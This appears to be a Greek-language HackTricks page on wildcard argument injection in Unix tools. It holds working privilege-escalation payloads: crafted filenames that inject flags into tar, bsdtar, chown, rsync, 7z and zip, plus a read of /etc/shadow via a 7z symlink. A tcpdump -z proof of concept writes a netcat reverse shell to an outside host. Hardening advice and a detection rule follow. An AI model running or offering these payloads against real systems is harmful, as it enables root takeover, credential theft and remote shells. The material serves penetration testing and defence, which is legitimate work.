Wildcards Spare Tricks
Reading time: 8 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Η έγχυση επιχειρημάτων με wildcard (γνωστό και ως glob) συμβαίνει όταν ένα προνομιακό σενάριο εκτελεί ένα Unix binary όπως
tar
,chown
,rsync
,zip
,7z
, … με ένα μη παραquoted wildcard όπως*
. Δεδομένου ότι το shell επεκτείνει το wildcard πριν εκτελέσει το binary, ένας επιτιθέμενος που μπορεί να δημιουργήσει αρχεία στον τρέχοντα κατάλογο μπορεί να κατασκευάσει ονόματα αρχείων που αρχίζουν με-
, έτσι ώστε να ερμηνεύονται ως επιλογές αντί για δεδομένα, αποτελεσματικά λαθραία σημαίες ή ακόμα και εντολές. Αυτή η σελίδα συγκεντρώνει τις πιο χρήσιμες πρωτογενείς μεθόδους, πρόσφατες έρευνες και σύγχρονες ανιχνεύσεις για το 2023-2025.
chown / chmod
Μπορείτε να αντιγράψετε τον ιδιοκτήτη/ομάδα ή τα δικαιώματα ενός αυθαίρετου αρχείου εκμεταλλευόμενοι τη σημαία --reference
:
# attacker-controlled directory
touch "--reference=/root/secret``file" # ← filename becomes an argument
Όταν ο root εκτελεί αργότερα κάτι όπως:
chown -R alice:alice *.php
chmod -R 644 *.php
--reference=/root/secret``file
έχει εισαχθεί, προκαλώντας όλα τα αντίστοιχα αρχεία να κληρονομήσουν την ιδιοκτησία/δικαιώματα του /root/secret``file
.
PoC & εργαλείο: wildpwn
(συνδυασμένη επίθεση).
Δείτε επίσης το κλασικό έγγραφο της DefenseCode για λεπτομέρειες.
tar
GNU tar (Linux, *BSD, busybox-full)
Εκτελέστε αυθαίρετες εντολές εκμεταλλευόμενοι τη δυνατότητα checkpoint:
# attacker-controlled directory
echo 'echo pwned > /tmp/pwn' > shell.sh
chmod +x shell.sh
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"
Μόλις ο root εκτελέσει π.χ. tar -czf /root/backup.tgz *
, το shell.sh
εκτελείται ως root.
bsdtar / macOS 14+
Ο προεπιλεγμένος tar
σε πρόσφατες εκδόσεις macOS (βασισμένος σε libarchive
) δεν υλοποιεί το --checkpoint
, αλλά μπορείτε να επιτύχετε εκτέλεση κώδικα με την επιλογή --use-compress-program που σας επιτρέπει να καθορίσετε έναν εξωτερικό συμπιεστή.
# macOS example
touch "--use-compress-program=/bin/sh"
Όταν ένα προνομιακό σενάριο εκτελεί tar -cf backup.tar *
, θα ξεκινήσει το /bin/sh
.
rsync
rsync
σας επιτρέπει να παρακάμψετε το απομακρυσμένο κέλυφος ή ακόμη και το απομακρυσμένο δυαδικό μέσω σημαιών γραμμής εντολών που ξεκινούν με -e
ή --rsync-path
:
# attacker-controlled directory
touch "-e sh shell.sh" # -e <cmd> => use <cmd> instead of ssh
Αν ο root αργότερα αρχειοθετήσει τον κατάλογο με rsync -az * backup:/srv/
, η εισαγόμενη σημαία δημιουργεί το shell σας στην απομακρυσμένη πλευρά.
PoC: wildpwn
(rsync
mode).
7-Zip / 7z / 7za
Ακόμα και όταν το προνομιακό σενάριο αμυντικά προσθέτει το wildcard με --
(για να σταματήσει την ανάλυση επιλογών), η μορφή 7-Zip υποστηρίζει αρχεία λίστας αρχείων προσθέτοντας το όνομα αρχείου με @
. Συνδυάζοντας αυτό με ένα symlink σας επιτρέπει να εξάγετε αυθαίρετα αρχεία:
# directory writable by low-priv user
cd /path/controlled
ln -s /etc/shadow root.txt # file we want to read
touch @root.txt # tells 7z to use root.txt as file list
Αν ο root εκτελέσει κάτι όπως:
7za a /backup/`date +%F`.7z -t7z -snl -- *
7-Zip θα προσπαθήσει να διαβάσει root.txt
(→ /etc/shadow
) ως λίστα αρχείων και θα αποτύχει, εκτυπώνοντας το περιεχόμενο στο stderr.
zip
zip
υποστηρίζει τη σημαία --unzip-command
που μεταφέρεται κατά λέξη στη γραμμή εντολών του συστήματος όταν θα δοκιμαστεί το αρχείο:
zip result.zip files -T --unzip-command "sh -c id"
Εισάγετε τη σημαία μέσω ενός κατασκευασμένου ονόματος αρχείου και περιμένετε να καλέσει το σενάριο δημιουργίας αντιγράφων ασφαλείας με δικαιώματα zip -T
(δοκιμή αρχείου) στο προκύπτον αρχείο.
Πρόσθετα δυαδικά αρχεία ευάλωτα σε ένεση wildcard (γρήγορη λίστα 2023-2025)
Οι παρακάτω εντολές έχουν κακοποιηθεί σε σύγχρονες CTF και πραγματικά περιβάλλοντα. Το payload δημιουργείται πάντα ως όνομα αρχείου μέσα σε έναν εγγράψιμο φάκελο που θα επεξεργαστεί αργότερα με wildcard:
Δυαδικό | Σημαία προς κακοποίηση | Επίδραση |
---|---|---|
bsdtar | --newer-mtime=@<epoch> → αυθαίρετο @file | Ανάγνωση περιεχομένων αρχείου |
flock | -c <cmd> | Εκτέλεση εντολής |
git | -c core.sshCommand=<cmd> | Εκτέλεση εντολής μέσω git μέσω SSH |
scp | -S <cmd> | Δημιουργία αυθαίρετου προγράμματος αντί για ssh |
Αυτές οι πρωτογενείς εντολές είναι λιγότερο κοινές από τις κλασικές tar/rsync/zip αλλά αξίζει να ελεγχθούν κατά την αναζήτηση.
tcpdump rotation hooks (-G/-W/-z): RCE μέσω ένεσης argv σε wrappers
Όταν ένα περιορισμένο shell ή wrapper προμηθευτή κατασκευάζει μια γραμμή εντολών tcpdump
συνδυάζοντας πεδία που ελέγχονται από τον χρήστη (π.χ., μια παράμετρος "όνομα αρχείου") χωρίς αυστηρή απόσπαση/επικύρωση, μπορείτε να λαθρέψετε επιπλέον σημαίες tcpdump
. Ο συνδυασμός -G
(χρονική περιστροφή), -W
(περιορισμός αριθμού αρχείων) και -z <cmd>
(εντολή μετά την περιστροφή) αποφέρει αυθαίρετη εκτέλεση εντολών ως ο χρήστης που εκτελεί το tcpdump (συχνά root σε συσκευές).
Προϋποθέσεις:
- Μπορείτε να επηρεάσετε το
argv
που περνάει στοtcpdump
(π.χ., μέσω ενός wrapper όπως/debug/tcpdump --filter=... --file-name=<HERE>
). - Ο wrapper δεν απολυμαίνει κενά ή tokens που ξεκινούν με
-
στο πεδίο ονόματος αρχείου.
Κλασικό PoC (εκτελεί ένα σενάριο αντίστροφης σύνδεσης από μια εγγράψιμη διαδρομή):
# Reverse shell payload saved on the device (e.g., USB, tmpfs)
cat > /mnt/disk1_1/rce.sh <<'EOF'
#!/bin/sh
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f
EOF
chmod +x /mnt/disk1_1/rce.sh
# Inject additional tcpdump flags via the unsafe "file name" field
/debug/tcpdump --filter="udp port 1234" \
--file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"
# On the attacker host
nc -6 -lvnp 4444 &
# Then send any packet that matches the BPF to force a rotation
printf x | nc -u -6 [victim_ipv6] 1234
Λεπτομέρειες:
-G 1 -W 1
αναγκάζει μια άμεση περιστροφή μετά το πρώτο πακέτο που ταιριάζει.-z <cmd>
εκτελεί την εντολή μετά την περιστροφή μία φορά ανά περιστροφή. Πολλές εκδόσεις εκτελούν<cmd> <savefile>
. Αν το<cmd>
είναι ένα σενάριο/διερμηνέας, βεβαιωθείτε ότι η διαχείριση των παραμέτρων ταιριάζει με το payload σας.
Μη-αφαιρούμενα μέσα παραλλαγές:
- Αν έχετε οποιαδήποτε άλλη πρωτόγονη μέθοδο για να γράψετε αρχεία (π.χ., μια ξεχωριστή εντολή περιτύλιξης που επιτρέπει την ανακατεύθυνση εξόδου), τοποθετήστε το σενάριό σας σε μια γνωστή διαδρομή και ενεργοποιήστε
-z /bin/sh /path/script.sh
ή-z /path/script.sh
ανάλογα με τη σημασία της πλατφόρμας. - Ορισμένα περιτυλίγματα προμηθευτών περιστρέφονται σε θέσεις ελέγχου που ελέγχονται από τον επιτιθέμενο. Αν μπορείτε να επηρεάσετε τη διαδρομή περιστροφής (symlink/διαδρομή καταλόγου), μπορείτε να κατευθύνετε το
-z
να εκτελέσει περιεχόμενο που ελέγχετε πλήρως χωρίς εξωτερικά μέσα.
Συμβουλές σκληρύνσης για προμηθευτές:
- Ποτέ μην περνάτε συμβολοσειρές που ελέγχονται από τον χρήστη απευθείας στο
tcpdump
(ή οποιοδήποτε εργαλείο) χωρίς αυστηρές λίστες επιτρεπόμενων. Παραθέστε και επικυρώστε. - Μην εκθέτετε τη λειτουργία
-z
σε περιτυλίγματα; εκτελέστε το tcpdump με ένα σταθερό ασφαλές πρότυπο και απαγορεύστε εντελώς επιπλέον σημαίες. - Αφαιρέστε τα προνόμια του tcpdump (cap_net_admin/cap_net_raw μόνο) ή εκτελέστε το κάτω από έναν αφιερωμένο μη προνομιούχο χρήστη με περιορισμούς AppArmor/SELinux.
Ανίχνευση & Σκληρύνση
- Απενεργοποιήστε την επέκταση wildcard σε κρίσιμα σενάρια:
set -f
(set -o noglob
) αποτρέπει την επέκταση wildcard. - Παραθέστε ή διαφύγετε παραμέτρους:
tar -czf "$dst" -- *
δεν είναι ασφαλές — προτιμήστεfind . -type f -print0 | xargs -0 tar -czf "$dst"
. - Ρητές διαδρομές: Χρησιμοποιήστε
/var/www/html/*.log
αντί για*
ώστε οι επιτιθέμενοι να μην μπορούν να δημιουργήσουν αδελφά αρχεία που ξεκινούν με-
. - Ελάχιστο προνόμιο: Εκτελέστε εργασίες αντιγράφων ασφαλείας/συντήρησης ως μη προνομιούχος υπηρεσία αντί για root όποτε είναι δυνατόν.
- Παρακολούθηση: Ο προ-κατασκευασμένος κανόνας της Elastic Potential Shell via Wildcard Injection αναζητά
tar --checkpoint=*
,rsync -e*
, ήzip --unzip-command
αμέσως ακολουθούμενο από μια διαδικασία παιδιού shell. Το EQL query μπορεί να προσαρμοστεί για άλλες EDRs.
Αναφορές
- Elastic Security – Potential Shell via Wildcard Injection Detected rule (τελευταία ενημέρωση 2025)
- Rutger Flohil – “macOS — Tar wildcard injection” (18 Δεκ 2024)
- GTFOBins – tcpdump
- FiberGateway GR241AG – Full Exploit Chain
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.